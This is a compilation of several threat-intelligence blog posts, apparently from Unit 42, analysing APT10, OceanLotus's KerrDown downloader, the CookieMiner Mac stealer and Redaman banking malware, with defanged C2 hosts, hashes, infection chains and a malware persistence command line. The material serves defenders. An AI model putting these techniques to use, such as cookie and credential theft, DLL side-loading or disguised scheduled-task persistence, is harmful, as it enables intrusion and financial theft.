menuPass Playbook and IOCs

Posted on by Unit 42

On December 20, 2018 the US Department of Justice indicted two Chinese nationals on charges of computer hacking, conspiracy to commit wire fraud, and aggravated identity theft. The two are alleged members of a hacking group known as menuPass (aka APT10/Stone Panda/Red Apollo/CVNX/Potassium) which according to the indictment, allegedly carried out the illegal activity at the behest of the Chinese Ministry of State Security. The charges in the indictment stem from a lengthy attack campaign called Operation Cloud Hopper that began in 2014 which largely targeted Managed Security Providers (MSPs) to not only steal MSP and clients’ intellectual property but also leverage the networks for further attacks. The US-Cert also published two advisories, TA17-117A and TA18-276B. The first details the activity and the second contained protection, detection, and remediation advice for MSPs and customers.

The compromised organizations were located around the world in industries such as banking and finance, healthcare and medical equipment, government, aerospace, defense, telecommunications, and consumer electronics.  menuPass’ hacking activity started as early as 2006 and continues to this day; they have shown a marked interest in Japan since 2014.

The group has been active since approximately 2006 and has targeted healthcare, defense, aerospace, and government sectors around the world, and has targeted Japanese victims since at least 2014. In 2016 and 2017, the group targeted managed IT service providers, manufacturing and mining companies, and a university.

Unit 42 is releasing all IOCs we have associated with menuPass in an effort to provide defenders with an extensive list of their malware and attack infrastructure. We are also publishing a menuPass Playbook based on activity from late 2016. The described attacks took place during the timeframe pointed out by the US Department of Justice and match the TTPs described in the indictment.

For Palo Alto Networks customers, all of the malware and infrastructure is correctly marked as malicious within our platform. All of the domains, samples, and C2 infrastructure are flagged as malicious, as appropriate, within Threat Prevention, WildFire, Traps, and PAN-DB.

AutoFocus customers can further investigate this activity using the following tags:

US-CERT_TA17-117A

Operation Cloud Hopper

menuPass

RedLeaves

ChChes

Anel

The below malware families are used by multiple groups, so their presence in a network is not necessarily related to menuPass. However, if found it indicates a possible network intrusion and should be investigated.

EvilGrab

PlugX

Poison Ivy

QuasarRAT

Tracking OceanLotus’ new Downloader, KerrDown

Posted on by Vicky Ray

OceanLotus (AKA APT32) is a threat actor group known to be one of the most sophisticated threat actors originating out of south east Asia. Multiple attack campaigns have been reported by number of security organizations in the last couple of years, documenting the tools and tactics used by the threat actor. While OceanLotus’ targets are global, their operations are mostly active within the APAC region which encompasses targeting private sectors across multiple industries, foreign governments, activists, and dissidents connected to Vietnam. 

This blog will cover a new custom downloader malware family we’ve named “KerrDown” which OceanLotus have been actively using since at least early 2018. We also show how the jaccard-index algorithm was used to quickly find similarities between the new KerrDown malware family within our datasets. This method has proven to be very useful to extract similarities from large sample datasets and connecting attack campaigns together. Given the large number of “KerrDown” samples found, we were also able to discern possible patterns in OceanLotus’ working hours and days of a week which is discussed in the later sections of this blog. 

We identified two methods to deliver the KerrDown downloader to targets. One is using the Microsoft Office Document with a malicious macro and the other is RAR archive which contains a legitimate program with DLL side-loading. For RAR archive files, the file names used to trick targets are all in Vietnamese as shown in Figure 11. Our analysis shows that the primary targets of the ongoing campaign discussed in this blog are either in Vietnam or Vietnamese speaking individuals.  

Malicious Document

Our analysis began with an active mime document, something we've seen OceanLotus use before but this time involving a new payload, KerrDown. The lure hash is 

(SHA256:89e19df797481ae2d2c895bcf030fe19e581976d2aef90c89bd6b3408579bfc3) 

Figure 1 below shows a snapshot of the lure file. Once the victim opens the lure document, which includes an image file with a message in Vietnamese which that asks the victim to enable macros to view the contents of the file. At first glance the document may look like there is no other content other than the notification to enable macros. However, a closer look reveals two different base64 blobs inserted in the page in separate tables and the font size has been changed to 1 which may deceive victims to overlook the content. Another reason for this technique may be that many automated tools are able to detect the presence of an embedded binary within the streams of such files and this technique may allow them to go undetected.  

Delivery Document Analysis

  Figure 1: Lure document

Once we increase the font size, the base64 blobs are visible in two different tables. Once decoded you can see the MZ header of the PE DLL at the beginning of each table, as shown in Figure 2.   

Figure 2: Base64 encoded pedll files embedded as text in the document. 

Figure 3 shows a code excerpt from the embedded macro that checks which base64 blob should be decoded based on the iCheck variable, a Boolean value which is set to true if the victim system is running on a 64-bit system and false on a 32-bit system. If the system is found to be 64-bit, the base64 encoded blob on the left is decoded otherwise the base64 encoded blob on the right is decoded. 

Figure 3: Base64 blob selection based on system check 

We also noticed that the actors reused the VBS decode function published by Motobit. Figure 4 shows the comparison between the base64 function used in the macro code and the VBS base64 decoder function published by Motobit. 

 

Figure 4: Base64 decoder comparison 

Similarity Analysis of KerrDown Samples using Jaccard-Index 

Once we decoded and extracted both DLL files from the document we used a similarity analysis algorithm using the Jaccard index to check the binaries against known set of malware families used by OceanLotus  which yielded no matches with any previous OceanLotus malware families. However, we were able to find multiple other samples in our datasets using the imphash value of the KerrDown samples and the accompanying C2 domains. Given the high number of samples found, we again used a similarity analysis algorithm using Jaccard Index to extract similarities between all the samples found. At this stage we were not sure if the DLL files were a backdoor or had any other functionality. Hence, we included a few other known OceanLotus malware family samples used no earlier than 2017 to our similarity test, and in most cases samples which were final payloads dropped in victim machines.  One of the main objectives was to quickly discern if KerrDown could have been variants of the known malware families we have been tracking or was OceanLotus employing a new malware family in their playbooks and in the recent campaigns. Plotting the Jaccard index results using networkx we can quickly visualize the similarities extracted. As you can see from Figure 5, there is a thick cluster of samples at the top right of the networkx graph which did not have any similarities with the other known OceanLotus malware family samples. Therefore, this observation was helpful for us to understand that the samples we were looking into were likely a new malware family being employed by the OceanLotus group at the time of analysis, which we have now named KerrDown.

Figure 5: Similarity analysis using Jaccard Index 

KerrDown to Cobalt Strike Beacon 

As discussed in the delivery document analysis above, depending on the OS architecture either of the embedded KerrDown DLLs will be dropped in the victim machine. The DLL is dropped in the directory location ‘Users\Administrator\AppData\Roaming\’ as ‘main_background.png’. The DLL retrieves the payload from the URL, decrypts it by using DES algorithm and execute it in the memory. Therefore, it is observed that only the KerrDown DLL downloader is saved in the system and the payload directly gets executed in the memory without being written in the system. Table 1 shows the URL the downloader will attempt to download the payload from depending on the OS architecture of the victim machine. 

OS Architecture  URL  User Agent 
32 bit  https://syn.servebbs[.]com/kuss32.gif  Mozilla/5.0 (Windows NT 10.0; Win32; x32; rv:60.0) 
64 bit  https://syn.servebbs[.]com/kuss64.gif  Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) 

Table 1 : Payload DLL selection based on architecture 

The link to the final payload of KerrDown was still active during the time of analysis and hence we were able to download a copy which turned out to be a variant of Cobalt Strike Beacon. Cybereason also published previously on OceanLotus using Cobalt Strike in their campaigns and it is interesting to see the use of a new downloader malware family being used to still deliver the final payload of Cobalt Strike. As we can see in this case, the purpose of the malware is to download and execute the Cobalt Strike Beacon payload in memory. Though Cobalt Strike is a commercial penetration testing tool, various threat actors are known to have used it in their campaigns.  

RAR Archives with KerrDown 

While investigating KerrDown we found multiple RAR files containing a variant of the malware. We haven’t yet identified the delivery method or targets of this variant. The attacker changed the downloader code by adding more stages and hiding each stage by compression and encryption. They also changed the way to execute the malicious code from an Office macro to the DLL side-loading technique through a legitimate program.  

The RAR archive

(SHA256:040abac56542a2e0f384adf37c8f95b2b6e6ce3a0ff969e3c1d572e6b4053ff3)

has the Vietnamese file name ‘Don khieu nai.rar’ which translates to 'Complaint letter' in English. The archive contains a legitimate older version of Microsoft Word (Microsoft Word 2007) executable file that is named ‘Noi dung chi tiet don khieu nai gui cong ty.exe’ which translates to ‘Learn more about how to use your company’ in English. The attacker used the DLL side loading technique to load a malicious DLL by the older version of Microsoft Word. When opening the executable file in the archive, it loads the malicious DLL in the same directory. The DLL executes multi-stage shellcodes and each shellcode employs various technique to hide the next stage. The overall installation steps are below: 

  1. The Microsoft Word exe loads wwlib.dll in the same directory and executes ‘FMain’ function of the DLL.
  2. The DLL decodes base64 encoded shellcode in the body and executes it. 
  3. The shellcode decompresses the second shellcode which is compressed with the open source compression code UCL and execute it. 
  4. The second shellcode decrypts the third shellcode with AES. 
  5. The third shellcode retrieves the shellcode from the following remote location and executes it: https://cortanasyn[.]com/Avcv 
  6. The fourth shellcode loads the embedded Cobalt Strike Beacon DLL in memory and executes it. 

Figure 6: Execution flow of sideloaded malicious downloader 

Looking at the compile timestamps of all the KerrDown samples in our datasets we were able to discern a couple of observations: 

  • OceanLotus has been using the new downloader in their campaigns since at least March 2018 and continues to actively use it in their campaigns. Figure 7 shows the timeline of the KerrDown samples: 

Figure 7: Downloader DLL compile time lines 

  • While it is already widely believed that the OceanLotus group may originate from Vietnam, we wanted to find possible working hour patterns from the samples in our datasets. We plotted the compile times based on GMT +7 and found a clear pattern of the possible working hours of the group. The OceanLotus group has a typical 9 AM to 6 PM working pattern with most samples compiled during this period of the day. Figure 8 shows the malware compilation timestamps in GMT +7 for each unique sample found in our dataset. 

Figure 8: Malware compilation times in GMT +7 

  •  We also observed all the samples were compiled during the weekdays - between Monday to Friday. Therefore, it is clear that the OceanLotus group works during weekdays and takes a break during the weekends. Figure 9 shows the samples compiled during the week. 

Figure 9: Malware compilation during weekdays 

Conclusion 

OceanLotus has been an active threat actor group for a number of years and remains one of the most sophisticated threat actors in the APAC region. As we have seen with the new KerrDown downloader being used in their recent campaigns, the group continues to build and employ new tools and techniques in their overall operations and playbooks. It is therefore imperative to understand and keep a track of the group’s ongoing operations and capability to better defend against such threats. Given the high number of samples observed, we were also able to discern possible working hour patterns which shows us that the group likely has formal working hours and operating out of a region which is like Vietnam or nearby countries. While most of the targeting observed is towards Vietnamese speaking victims, given the known broader geographic and industry wide target base of OceanLotus, the group may use similar tools and playbooks against other targets.  

 Palo Alto Networks customers are already protected via: 

  •  All samples in this report have a malicious verdict in WildFire 
  • Domains have been classified as malicious 
  • AutoFocus tags are available for additional context: OceanLotus and KerrDown. 

Indicators of Compromise: 

Lure Docs: 

 73dcbcc47d6bd95dcf031ebbd34ac42301a20ee1143ac130b405e79b4ba40fc8 

89e19df797481ae2d2c895bcf030fe19e581976d2aef90c89bd6b3408579bfc3 

a4a066341b4172d2cb752de4b938bf678ceb627ecb72594730b78bd05a2fad9d 

8bf22202e4fd4c005afde2266413cba9d1b749b1a2d75deac0c35728b5eb3af8 

df8210d20c5eb80d44ba8fa4c41c26c8421dcb20168e4f796e4955e01ebc9e13 

94fab926b73a6a5bc71d655c8d611b40e80464da9f1134bfce7b930e23e273ab 

4321a9f95901a77b4acfbaef3596cf681712345e1cbd764873c6643fe9da7331 

KerrDown DLLs: 

 4a0309d8043e8acd7cb5c7cfca95223afe9c15a1c34578643b49ded4b786506b 

4b431af677041dae3c988fcc901ac8ec6e74c6e1467787bf099c4abd658be5be 

4bc00f7d638e042da764e8648c03c0db46700599dd4f08d117e3e9e8b538519b 

4e2f8f104e6cd07508c5b7d49737a1db5eeba910adfdb4c19442a7699dc78cfc 

4e791f2511c9bd3c63c8e37aa6625d8b590054de9e1cca13a7be2630bc2af9ce 

539e8a53db3f858914cfe0d2132f11de34a691391ba71673a8b1e61367a963c7 

53cd92f37ffd0822cc644717363ba239d75c6d9af0fa305339eaf34077edd22d 

53efaac9244c24fab58216a907783748d48cb32dbdc2f1f6fb672bd49f12be4c 

5c18c3e6f7ac0d0ac2b5fa9a6435ee90d6bd77995f85bed9e948097891d42ca2 

5cda7d8294a8804d09108359dd2d96cdf4fdcf22ec9c00f0182d005afff76743 

5f0db8216314da1f128b883b918e5ac722202a2ae0c4d0bf1c5da5914a66778e 

6010d44cdca58cdec4559040e08798e7b28b9434bda940da0a670c93c84e33cd 

60b65ebb921dca4762aef427181775d10bbffc30617d777102762ab7913a5aa1 

6146aedfe47597606fb4b05458ec4b99d4e1042da7dc974fa33a57e282cd7349 

6245b74b1cc830ed95cb630192c704da66600b90a331d9e6db70210acb6c7dfa 

67cd191eb2322bf8b0f04a63a9e7cb7bc52fb4a4444fcb8fed2963884aede3aa 

68f77119eae5e9d2404376f2d87e71e4ab554c026e362c57313e5881005ae79e 

69e679daaaff3832c39671bf2b813b5530a70fb763d381f9a6e22e3bc493c8a9 

6faa7deb1e1e0c3a7c62c2bb0ecdfa56b6e3ba4fe16971ec4572267ac70b9177 

6fb397e90f72783adec279434fe805c732ddb7d1d6aa72f19e91a1bf585e1ea5 

70db041fb5aadb63c1b8ae57ba2699baa0086e9b011219dcebcccbf632017992 

7673f5468ba3cf01500f6bb6a19ce7208c8b6fc24f1a3a388eca491bc25cd9cd 

77805a46f73e118ae2428f8c22ba28f79f7c60aeb6305d41c0bf3ebb9ce70f94 

788265447391189ffc1956ebfec990dc051b56f506402d43cd1d4de96709c082 

7be613237b57fbc3cb83d001efadeed9936a2f519c514ab80de8285bdc5a666c 

7dbb7fab4782f5e3b0c416c05114f2a51f12643805d5f3d0cd80d32272f2731a 

7ec77e643d8d7cc18cc67c123feceed91d10db1cc9fa0c49164cba35bb1da987 

860f165c2240f2a83eb30c412755e5a025e25961ce4633683f5bc22f6a24ddb6 

868ed69533fac80354a101410d3dd0a66f444385c6611cc85c5b0be49db2d6fd 

89759e56d5c23085e47d2be2ce4ad4484dfdd4204044a78671ed434cec19b693 

8b7fb1cd5c09f7ec57ccc0c4261c0b4df0604962556a1d401b9cbfd750df60ba 

8d6e31c95d649c08cdc2f82085298173d03c03afe02f0dacb66dd3560149184f 

942d763604d0aefdff10ce095f806195f351124a8433c96f5590d89d809a562f 

98a5f30699564e6d9f74e737a611246262907b9e91b90348f7de53eb4cf32665 

9e6011d6380207e2bf5105cde3d48e412db565b92cdc1b3c6aa15bd7bd4b099f 

a106e0a6b7cc30b161e5ea0b1ec0f28ab89c2e1eb7ba2d5d409ddbabc3b037e6 

a2b905c26e2b92e63de85d83e280249258cb21f300d8c4a3a6bdb488676e9bcf 

a4a86e96f95f395fcf0ceb6a74a2564f4ba7adbe1b40cc702b054427327a0399 

a8192656dd1db0be4cec9d03b4d10e0529d9c52c899eda8d8e72698acfb61419 

a8f776bd3a9593e963b567ce790033fec2804ea0afb40a92d40e21d8f33d066f 

b4966f8febdba6b2d674afffc65b1df11e7565acbd4517f1e5b9b36a8c6a16ed 

bb25f1a73d095d57b2c8c9ac6780e4d412ddf3d9eef84a54903cc8e4eaefc335 

bc82bce004afb6424e9d9f9fc04a84f58edf859c4029eda08f7309dbeec67696 

c30198e0b0e470d4ac8821bd14bb754466e7974f1c20be8b300961e9e89ed1ea 

caabc45e59820a4349db13f337063eddede8a0847ae313d89a800f241d8556c8 

d3ef6643ad529d43a7ec313b52c8396dc52c4daad688360eb207ee91a1caf7b2 

e3c818052237bb4bb061290ab5e2a55c3852c8a3fef16436b1197e8b17de2e18 

e56ffcf5df2afd6b151c24ddfe7cd450f9208f59b5731991b926af0dce24285a 

e8704bf6525c90e0f5664f400c3bf8ff5da565080a52126e0e6a62869157dfe3 

e8a454cd8b57a243f0abeec6945c9b10616cfdcc4abfb4c618bfc469d026d537 

eac776c3c83c9db1a770ffaf6df9e94611c8293cbd41cb9257148603b8f2be0b 

ead0f3e6f0ca16b283f09526d09e8e8cba687dab642f0e102e5487cb565bf475 

f011a136996fa53fdbde944da0908da446b9532307a35c44ed08241b5e602cc9 

f2a2f4fa2ed5b2a94720a4661937da97ab21aa198a5f8c83bb6895aa2c398d22 

f62f21ee7e642f272b881827b45ceb643c999a742e1d3eac13d1ba014d1e7f67 

f9f0973dc74716b75291f5a9b2d59b08500882563011d1def2b8d0b1b9bbb8ae 

C2: 

 theme[[.]]blogsite[.]org 

cortana[.]homelinux[.]com 

word[.]webhop[.]info 

work[.]windownoffice[.]com 

cortanasyn[.]com 

e[.]browsersyn[.]com 

syn[.]servebbs[.]com 

service[.]windown-update[.]com 

check[.]homeip[.]net 

outlook[.]updateoffices[.]net 

mail[.]fptservice[.]net 

office[.]windown-update[.]com 

cortanazone[.]com 

beta[.]officopedia[.]com 

videos[.]dyndns[.]org 

service[.]serveftp[.]org 

syn[.]browserstime[.]com 

check[.]webhop[.]org 

ristineho[.]com 

 Appendix A: 

Cobalt Strike Beacon contains the hard-coded configuration data in its body. JPCERT published an article about the structure of the configuration. The sample we obtained has the following configuration (Figure 10) and connects to the C2 server, https:// b.cortanazone[.]com. 

Figure 10: Cobalt Strike Beacon configuration 

Appendix B: 

Figure 11 shows some of the contents of the individual RAR files. All the .exe files are copies of Windows Word and the associated ‘wwlib.dll’ file is the malicious downloader DLL KerrDown, which is sideloaded when the .exe file gets executed. 

Figure 11: RAR archives with malicious DLL for sideloading

Mac Malware Steals Cryptocurrency Exchanges’ Cookies

Posted on by Yue Chen

Palo Alto Networks’ Unit 42 recently discovered malware that we believe has been developed from OSX.DarthMiner, a malware known to target the Mac platform.

This malware is capable of stealing browser cookies associated with mainstream cryptocurrency exchanges and wallet service websites visited by the victims.

It also steals saved passwords in Chrome.

Finally, it seeks to steal iPhone text messages from iTunes backups on the tethered Mac.

By leveraging the combination of stolen login credentials, web cookies, and SMS data, based on past attacks like this, we believe the bad actors could bypass multi-factor authentication for these sites.

If successful, the attackers would have full access to the victim’s exchange account and/or wallet and be able to use those funds as if they were the user themselves.

The malware also configures the system to load coinmining software on the system. This software is made to look like an XMRig-type coinminer, which is used to mine Monero. In fact, though, it loads a coinminer that mines Koto, a lesser-known cryptocurrency that is associated with Japan.

Because of the way this malware attacks the cookies associated with exchanges, we have named this malware “CookieMiner”.

In the following sections, we will first briefly introduce some background knowledge, and then dig into the technical details of the malware’s behaviors.

Background

Web cookies are widely used for authentication. Once a user logs into a website, its cookies are stored for the web server to know the login status. If the cookies are stolen, the attacker could potentially sign into the website to use the victim’s account. Stealing cookies is an important step to bypass login anomaly detection. If only the username and password are stolen and used by a bad actor, the website may issue an alert or request additional authentication for a new login. However, if an authentication cookie is also provided along with the username and password, the website might believe the session is associated with a previously authenticated system host and not issue an alert or request additional authentication methods.

A cryptocurrency exchange is a place to trade cryptocurrencies for other assets, such as other digital (crypto)currencies or conventional fiat money. Most modern cryptocurrency exchanges and online wallet services have multi-factor authentication. CookieMiner tries to navigate past the authentication process by stealing a combination of the login credentials, text messages, and web cookies. If the bad actors successfully enter the websites using the victim’s identity, they could perform fund withdrawals. This may be a more efficient way to generate profits than outright cryptocurrency mining. Furthermore, attackers could manipulate the cryptocurrency prices with large-volume buying and/or selling of stolen assets resulting in additional profits.

Technical Details

A rundown of CookieMiner’s behaviors (discussed in more detail in the following sections):

  • Steals Google Chrome and Apple Safari browser cookies from the victim’s machine
  • Steals saved usernames and passwords in Chrome
  • Steals saved credit card credentials in Chrome
  • Steals iPhone’s text messages if backed up to Mac
  • Steals cryptocurrency wallet data and keys
  • Keeps full control of the victim using the EmPyre backdoor
  • Mines cryptocurrency on the victim’s machine

Stealing Cookies

The CookieMiner attack begins with a shell script targeting MacOS. As shown in Figure 1, it copies the Safari browser’s cookies to a folder, and uploads it to a remote server (46.226.108[.]171:8000). The server hosts the service “curldrop” (https://github[.]com/kennell/curldrop), which allows users to upload files with curl. The attack targets cookies associated with cryptocurrency exchanges that include Binance, Coinbase, Poloniex, Bittrex, Bitstamp, MyEtherWallet, and any website having “blockchain” in its domain name such as www.blockchain[.]com.

Figure 1. Code to steal web cookies

Stealing Credit Cards, Passwords, Wallets and SMS

Apple’s Safari is not the only web browser targeted. Google Chrome also attracts the threat actors’ attention due to its popularity. CookieMiner downloads a Python script named “harmlesslittlecode.py” to extract saved login credentials and credit card information from Chrome’s local data storage (Figure 2).

Figure 2. Malware extracts Chrome's secret data

CookieMiner adopts techniques from the Google Chromium project’s code for its decryption and extraction operations and abuses them. Google Chromium is an open-source version of the Google Chrome browser. By abusing these techniques, CookieMiner attempts to steal credit card information from major issuers, such as Visa, Mastercard, American Express, and Discover (Figure 3). The user’s saved login credentials are also stolen, including usernames, passwords, and the corresponding web URLs (Figure 4).

Figure 3. CookieMiner extracts credit card information

Figure 4. CookieMiner extracts login credentials

CookieMiner reports all the wallet-related file paths to its remote server so it can later upload the files according to the C2 commands. These files usually include private keys of cryptocurrency wallets. If the victims use iTunes to backup files from iPhone to Mac (can be via Wi-Fi), their iPhone text messages (SMSFILE) will also be retrieved by the attackers (Figure 5).

Figure 5. Malware steals wallets, cookies, passwords and SMS

Cryptocurrency Mining

CookieMiner issues a series of commands to configure the victim’s machine to mine cryptocurrency and maintain persistence (Figure 6). The program xmrig2 is a Mach-O executable for mining cryptocurrency. As seen in Figure 7, the address “k1GqvkK7QYEfMj3JPHieBo1m7FUkTowdq6H” has considerable mining performance. It has been ranked as a top miner in the Maruru mining pool (koto-pool.work).­­­ The cryptocurrency mined is called Koto, which is a Zcash-based anonymous cryptocurrency. The has addresses in Figure 8 use the “Yescrypt” algorithm which is good for CPU miners but not ideal for GPU miners. This is ideal for malware as the victim hosts are not guaranteed to have discrete GPUs installed in them but are guaranteed to have a CPU available. However, the filename xmrig2 is usually used by Monero miners. We believe the malware authors may have intentionally used this filename to create confusion since the miner is actually mining the Koto cryptocurrency.

Figure 6. CookieMiner mines cryptocurrency

 

Figure 7 Mining performance of the worker

Remote Control

For persistence and remote control, the script downloads another base64-encoded Python script from hxxps://ptpb[.]pw/OAZG. After several steps of de-obfuscation, we found the attackers using EmPyre for post-exploitation control. EmPyre is a Python post-exploitation agent built on cryptologically-secure communications and a flexible architecture. The attacker is able to send commands to the victim’s machine for remote control. Additionally, the agent checks if Little Snitch (an application firewall) is running on the victim’s host. If so, it will stop and exit.

Conclusion

The malware “CookieMiner” is intended to help threat actors generate profit by collecting credential information and mining cryptocurrency. If attackers have all the needed information for the authentication process, the multi-factor authentication may be defeated. Cryptocurrency owners should keep an eye on their security settings and digital assets to prevent compromise and leakage.

Customers of Palo Alto Networks are protected by WildFire that is able to automatically detect the malware. AutoFocus users can track this activity by using the StealCookie tag.

 

Indicators of Compromise

Samples

c65e65207f6f9f8df05e02c893de5b3c04825ac67bec391f0b212f4f33a31e80 uploadminer.sh

485c2301409a238affc713305dc1a465afa9a33696d58e8a84e881a552b82b06 harmlesslittlecode.py

27ccebdda20264b93a37103f3076f6678c3446a2c2bfd8a73111dbc8c7eeeb71 OAZG

91b3f5e5d3b4e669a49d9c4fc044d0025cabb8ebb08f8d1839b887156ae0d6dd com.apple.rig2.plist

cdb2fb9c8e84f0140824403ec32a2431fb357cd0f184c1790152834cc3ad3c1b com.proxy.initialize.plist

ede858683267c61e710e367993f5e589fcb4b4b57b09d023a67ea63084c54a05 xmrig2

 

C2 Information

hxxps://ptpb[.]pw/OAZG

46.226.108[.]171

Russian Language Malspam Pushing Redaman Banking Malware

Posted on by Brad Duncan

Redaman is banking malware first noted in 2015 that targets recipients who conduct transactions using Russian financial institutions. First reported as the RTM banking Trojan, vendors like Symantec and Microsoft described an updated version of this malware as Redaman in 2017. We have found versions of Redaman in Russian language mass-distribution campaigns during the last four months of 2018. This blog tracks recent developments from an ongoing campaign of malicious spam (malspam) currently distributing this banking malware from September through December of 2018. We cover the following areas:

  • Infection vector
  • Email characteristics
  • Targeted recipients
  • Analysis of a Redaman sample
  • Infection traffic

Infection vector

Since September of 2018, Redaman banking malware has been distributed through malspam. In this campaign, the Russian language malspam is addressed to Russian email recipients, often with email addresses ending in .ru. These emails have file attachments. These file attachments are archived Windows executable files disguised as a PDF document. In September 2018, the attachments were zip archives. In October 2018, the attachments were zip archives, 7-zip archives, and rar archives. In November 2018, the attachments were rar archives. And in December 2018, the attachments changed to gzip archives with file names ending in .gz.

Figure 1: Flow chart for infections from Redaman banking malware from September through December of 2018.

The emails

Subject lines, message text, and attachment names constantly change for this malspam. But the messages all have a common theme: they refer to a document or file for an alleged financial issue the recipient needs to resolve. These messages are often vague, and they contain few details on the alleged financial issue. Their only goal is to trick the recipient into opening the attached archive and double-clicking the executable contained within.

Among dozens of examples seen from September through December of 2018, here is a selection of 10 subject lines from this malspam:

  • Subject: Акт сверки сентябрь-октябрь
  • Subject: Весь пакет док-ов за прошлый месяц
  • Subject: Все док-ты за август-сентябрь
  • Subject: Деб.задолженность среда
  • Subject: Документы, сверка 02.10
  • Subject: Заявка на возврат за ноябрь
  • Subject: Необходимо свериться среда
  • Subject: Отправка на за прошлую неделю
  • Subject: Пакет документов для оплаты 1е октября
  • Subject: Сверка на оплату

The following are Google translations for the above subject lines:

  • Subject: Act of reconciliation September-October
  • Subject: All package of last month's documents
  • Subject: All docs for August-September
  • Subject: Debt due Wednesday
  • Subject: Documents Verification for October 2018
  • Subject: Application for return for November
  • Subject: Check the environment
  • Subject: Sending on last week
  • Subject: The package of documents for payment 1st October
  • Subject: Payment Verification

Figure 2: Example of Redaman malspam from September 2018.

 Figure 3: Example of Redaman malspam from October 2018.

 Figure 4: Example of Redaman malspam from November 2018.

 Figure 5: Example of Redaman malspam from December 2018.

Targeted recipients

The content of these emails and data from our AutoFocus threat intelligence platform confirms this campaign is primarily targeting Russian recipients. We found 3,845 email sessions in AutoFocus with attachments tagged as Redaman banking malware from September through December 2018. Data on the top 10 senders and recipients of this malspam follow:

Mail servers of the top 10 senders:

  • From Russia - 3,456
  • From Belarus - 98
  • From Ukraine - 93
  • From Estonia - 29
  • From Germany - 30
  • From United States - 21
  • From Netherlands - 12
  • From Great Britain - 7
  • From Switzerland - 7
  • From Latvia - 2

Mail servers of the top 10 recipients:

  • To Russia - 2,894
  • To Netherlands - 195
  • To United States - 55
  • To Sweden - 24
  • To Japan - 16
  • To Kazakhstan - 12
  • To Spain - 12
  • To Finland - 11
  • To Germany - 6
  • To Austria - 4

Figure 6: AutoFocus map visualization for distribution of email recipients, September through December of 2018.

 

Analysis of a Redaman sample

We analyzed a sample of Redaman malware from malspam on November 13th, 2018.

SHA256 hash of rar archive from the malspam:

  • f6fb51809caec2be6164863b5773a7ee3ea13a449701a1f678f0655b6e8720df

SHA256 hash of Redaman executable extracted from the rar archive:

  • cd961e81366c8d9756799ec8df14edaac5e3ae4432c3dbf8e3dd390e90c3e22f

SHA256 hash of Redaman DLL created by the above executable:

  • 14d33b02a497e46f470d30180a09a1057c6802c1f37b0efbf82cbdc47a8ae7ff

When the Windows executable for Redaman is first run, it checks for the following files or directories on the local host (C:\ or D:\ drives):

  • C:\cuckoo
  • C:\fake_drive
  • C:\perl
  • C:\strawberry
  • C:\targets.xls
  • C:\tsl
  • C:\wget.exe
  • C:\*python*

If any of the above files or directories exist, the Windows executable throws an exception and exits. This indicates Redaman checks if it is running in a sandbox or similar type of analysis environment.

If no exceptions occur, the Windows executable drops a DLL file in the user's AppData\Local\Temp\ directory, creates a randomly-named folder under C:\ProgramData\ directory and moves the DLL under that folder as a random file name. This Redaman DLL is made persistent through a scheduled Windows task with the following properties:

  • Name: Windows Update
  • Description: Updating Windows components.
  • Triggers: Executed whenever the user logs on
  • Action: rundll32.exe "C:\ProgramData\%random value%\%random value.random 3-character extension%",DllGetClassObject host

After creating a scheduled task and causing the DLL to load, the initial Redaman executable file deletes itself.

Figure 7: Example of a Redaman DLL persistent through a scheduled task.

Figure 8: Process Hacker showing the Redaman DLL active using rundll32.exe.

 

Redaman uses an application-defined hook procedure to monitor browser activity, specifically Chrome, Firefox, and Internet Explorer. It then searches the local host for information related to the financial sector. Other capabilities of Redaman include:

  • Downloading files to the infected host
  • Keylogging activity
  • Capture screen shots and record video of the Windows desktop
  • Collecting and exfiltrating financial data, specifically targeting Russian banks
  • Smart card monitoring
  • Shutting down the infected host
  • Altering DNS configuration through the Windows host file
  • Retrieving clipboard data
  • Terminating running processes
  • Adding certificates to the Windows store

 

Infection traffic

We generated the following infection traffic using the executable with SHA256 hash cd961e81366c8d9756799ec8df14edaac5e3ae4432c3dbf8e3dd390e90c3e22f on November 14th, 2018:

  • 104.28.16[.]33 port 443 - namecha[.]in - GET /name/d/stat-counter-3-1
  • 185.141.61[.]246 port 80 - 185.141.61[.]246 - POST /index.php
  • 193.37.213[.]28 port 80 - 193.37.213[.]28 - POST /p/g_3453456jawd346.php

Figure 9: Redaman infection traffic filtered in Wireshark.

Network activity started with an HTTPS URL to namecha[.]in, which is an alternative namecoin block explorer. Namecoin is a cryptocurrency system that can be used for decentralized DNS. That proves to be the case here, since the URL returned an IP address used for subsequent post-infection traffic as shown in Figure 10.

Figure 10: Data returned from namecha[.]in used for subsequent infection traffic.

 

During the infection, callback traffic was periodically sent to a command and control (C2) sever at 185.141.61[.]246. Shortly after the infection, return traffic from the C2 server sent a Pony variant DLL to the infected Windows client.

Figure 11: Using Wireshark to find 58 kB of encoded data returned from the C2 server at 185.141.61[.]246.

 

Data for the Pony variant DLL was XOR encoded with multiple XOR keys and RTLcompressed. The SHA256 of this Pony variant DLL is b4701d95219d465e978c4a815fcce89787916da33ae2a49d0e76d4445fd39ada, and it generated traffic to 193.37.213[.]28/p/g_3453456jawd346.php during the infection.

Conclusion

Since it was first noted in 2015, this family of banking malware continues targeting recipients who conduct transactions with Russian financial institutions. We found over 100 examples of malspam during the last four months of 2018, and this blog provides a closer look at Redaman during that timeframe. We covered the following areas:

  • Infection vector
  • Email characteristics
  • Targeted recipients
  • Analysis of a Redaman sample
  • Infection traffic

We expect to discover new Redaman samples as 2019 progresses.

Palo Alto Networks customers are protected from this threat. Traps identifies these files through Local Analysis and Wildfire has classified them as malicious. Our threat prevention platform detects this malware, and see the below appendices below for details on Redaman malware we discovered from September through December of 2018.

Appendix A

SHA256 file hashes for 119 malspam attachments, 30 extracted Redaman executable files, and 30 dropped Redaman DLL files found from September through December 2018. Information is available at: https://github.com/pan-unit42/iocs/blob/master/Redaman_banking_malware/2018-09-thru-2018-12-file-hashes-for-Redaman-banking-malware.txt

Appendix B

SHA256 file hashes, archive file names, and extracted file names for Redaman banking malware found in September 2018. Information is available at: https://github.com/pan-unit42/iocs/blob/master/Redaman_banking_malware/2018-09-file-hashes-for-Redaman-banking-malware.txt

Appendix C

SHA256 file hashes, archive file names, and extracted file names for Redaman banking malware found in October 2018. Information is available at: https://github.com/pan-unit42/iocs/blob/master/Redaman_banking_malware/2018-10-file-hashes-for-Redaman-banking-malware.txt

Appendix D

